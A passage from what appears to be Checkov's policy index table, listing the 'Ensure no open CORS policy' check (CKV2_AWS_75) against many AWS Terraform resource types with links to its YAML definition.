[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3438 | CKV2_AWS_75 | resource | aws_sesv2_account_vdm_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3439 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3440 | CKV2_AWS_75 | resource | aws_sesv2_configuration_set_event_destination | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3441 | CKV2_AWS_75 | resource | aws_sesv2_contact_list | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3442 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3443 | CKV2_AWS_75 | resource | aws_sesv2_dedicated_ip_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3444 | CKV2_AWS_75 | resource | aws_sesv2_email_identity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3445 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3446 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3447 | CKV2_AWS_75 | resource | aws_sesv2_email_identity_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3448 | CKV2_AWS_75 | resource | aws_sfn_activity | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3449 | CKV2_AWS_75 | resource | aws_sfn_alias | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3450 | CKV2_AWS_75 | resource | aws_sfn_state_machine | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3451 | CKV2_AWS_75 | resource | aws_shield_application_layer_automatic_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3452 | CKV2_AWS_75 | resource | aws_shield_drt_access_log_bucket_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3453 | CKV2_AWS_75 | resource | aws_shield_drt_access_role_arn_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3454 | CKV2_AWS_75 | resource | aws_shield_proactive_engagement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3455 | CKV2_AWS_75 | resource | aws_shield_protection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3456 | CKV2_AWS_75 | resource | aws_shield_protection_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3457 | CKV2_AWS_75 | resource | aws_shield_protection_health_check_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3458 | CKV2_AWS_75 | resource | aws_shield_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3459 | CKV2_AWS_75 | resource | aws_signer_signing_job | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3460 | CKV2_AWS_75 | resource | aws_signer_signing_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3461 | CKV2_AWS_75 | resource | aws_signer_signing_profile_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3462 | CKV2_AWS_75 | resource | aws_simpledb_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3463 | CKV2_AWS_75 | resource | aws_snapshot_create_volume_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3464 | CKV2_AWS_75 | resource | aws_sns_platform_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3465 | CKV2_AWS_75 | resource | aws_sns_sms_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3466 | CKV2_AWS_75 | resource | aws_sns_topic | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3467 | CKV2_AWS_75 | resource | aws_sns_topic_data_protection_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3468 | CKV2_AWS_75 | resource | aws_sns_topic_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3469 | CKV2_AWS_75 | resource | aws_sns_topic_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3470 | CKV2_AWS_75 | resource | aws_spot_datafeed_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3471 | CKV2_AWS_75 | resource | aws_spot_fleet_request | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3472 | CKV2_AWS_75 | resource | aws_spot_instance_request | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3473 | CKV2_AWS_75 | resource | aws_sqs_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3474 | CKV2_AWS_75 | resource | aws_sqs_queue_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3475 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_allow_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3476 | CKV2_AWS_75 | resource | aws_sqs_queue_redrive_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3477 | CKV2_AWS_75 | resource | aws_ssm_activation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3478 | CKV2_AWS_75 | resource | aws_ssm_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3479 | CKV2_AWS_75 | resource | aws_ssm_default_patch_baseline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3480 | CKV2_AWS_75 | resource | aws_ssm_document | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3481 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3482 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3483 | CKV2_AWS_75 | resource | aws_ssm_maintenance_window_task | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3484 | CKV2_AWS_75 | resource | aws_ssm_parameter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3485 | CKV2_AWS_75 | resource | aws_ssm_patch_baseline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3486 | CKV2_AWS_75 | resource | aws_ssm_patch_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3487 | CKV2_AWS_75 | resource | aws_ssm_resource_data_sync | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3488 | CKV2_AWS_75 | resource | aws_ssm_service_setting | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3489 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3490 | CKV2_AWS_75 | resource | aws_ssmcontacts_contact_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3491 | CKV2_AWS_75 | resource | aws_ssmcontacts_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3492 | CKV2_AWS_75 | resource | aws_ssmcontacts_rotation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3493 | CKV2_AWS_75 | resource | aws_ssmincidents_replication_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3494 | CKV2_AWS_75 | resource | aws_ssmincidents_response_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3495 | CKV2_AWS_75 | resource | aws_ssmquicksetup_configuration_manager | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3496 | CKV2_AWS_75 | resource | aws_ssoadmin_account_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3497 | CKV2_AWS_75 | resource | aws_ssoadmin_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3498 | CKV2_AWS_75 | resource | aws_ssoadmin_application_access_scope | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3499 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3500 | CKV2_AWS_75 | resource | aws_ssoadmin_application_assignment_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3501 | CKV2_AWS_75 | resource | aws_ssoadmin_customer_managed_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3502 | CKV2_AWS_75 | resource | aws_ssoadmin_instance_access_control_attributes | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3503 | CKV2_AWS_75 | resource | aws_ssoadmin_managed_policy_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3504 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3505 | CKV2_AWS_75 | resource | aws_ssoadmin_permission_set_inline_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3506 | CKV2_AWS_75 | resource | aws_ssoadmin_permissions_boundary_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3507 | CKV2_AWS_75 | resource | aws_ssoadmin_trusted_token_issuer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3508 | CKV2_AWS_75 | resource | aws_storagegateway_cache | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3509 | CKV2_AWS_75 | resource | aws_storagegateway_cached_iscsi_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3510 | CKV2_AWS_75 | resource | aws_storagegateway_file_system_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3511 | CKV2_AWS_75 | resource | aws_storagegateway_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3512 | CKV2_AWS_75 | resource | aws_storagegateway_nfs_file_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3513 | CKV2_AWS_75 | resource | aws_storagegateway_smb_file_share | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3514 | CKV2_AWS_75 | resource | aws_storagegateway_stored_iscsi_volume | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3515 | CKV2_AWS_75 | resource | aws_storagegateway_tape_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3516 | CKV2_AWS_75 | resource | aws_storagegateway_upload_buffer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3517 | CKV2_AWS_75 | resource | aws_storagegateway_working_storage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3518 | CKV2_AWS_75 | resource | aws_subnet | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3519 | CKV2_AWS_75 | resource | aws_swf_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3520 | CKV2_AWS_75 | resource | aws_synthetics_canary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3521 | CKV2_AWS_75 | resource | aws_synthetics_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3522 | CKV2_AWS_75 | resource | aws_synthetics_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3523 | CKV2_AWS_75 | resource | aws_timestreaminfluxdb_db_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3524 | CKV2_AWS_75 | resource | aws_timestreamquery_scheduled_query | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3525 | CKV2_AWS_75 | resource | aws_timestreamwrite_database | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3526 | CKV2_AWS_75 | resource | aws_timestreamwrite_table | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3527 | CKV2_AWS_75 | resource | aws_transcribe_language_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3528 | CKV2_AWS_75 | resource | aws_transcribe_medical_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3529 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3530 | CKV2_AWS_75 | resource | aws_transcribe_vocabulary_filter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3531 | CKV2_AWS_75 | resource | aws_transfer_access | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3532 | CKV2_AWS_75 | resource | aws_transfer_agreement | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3533 | CKV2_AWS_75 | resource | aws_transfer_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3534 | CKV2_AWS_75 | resource | aws_transfer_connector | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3535 | CKV2_AWS_75 | resource | aws_transfer_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3536 | CKV2_AWS_75 | resource | aws_transfer_server | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3537 | CKV2_AWS_75 | resource | aws_transfer_ssh_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3538 | CKV2_AWS_75 | resource | aws_transfer_tag | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3539 | CKV2_AWS_75 | resource | aws_transfer_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3540 | CKV2_AWS_75 | resource | aws_transfer_workflow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3541 | CKV2_AWS_75 | resource | aws_verifiedaccess_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3542 | CKV2_AWS_75 | resource | aws_verifiedaccess_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3543 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3544 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_logging_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3545 | CKV2_AWS_75 | resource | aws_verifiedaccess_instance_trust_provider_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3546 | CKV2_AWS_75 | resource | aws_verifiedaccess_trust_provider | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3547 | CKV2_AWS_75 | resource | aws_verifiedpermissions_identity_source | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3548 | 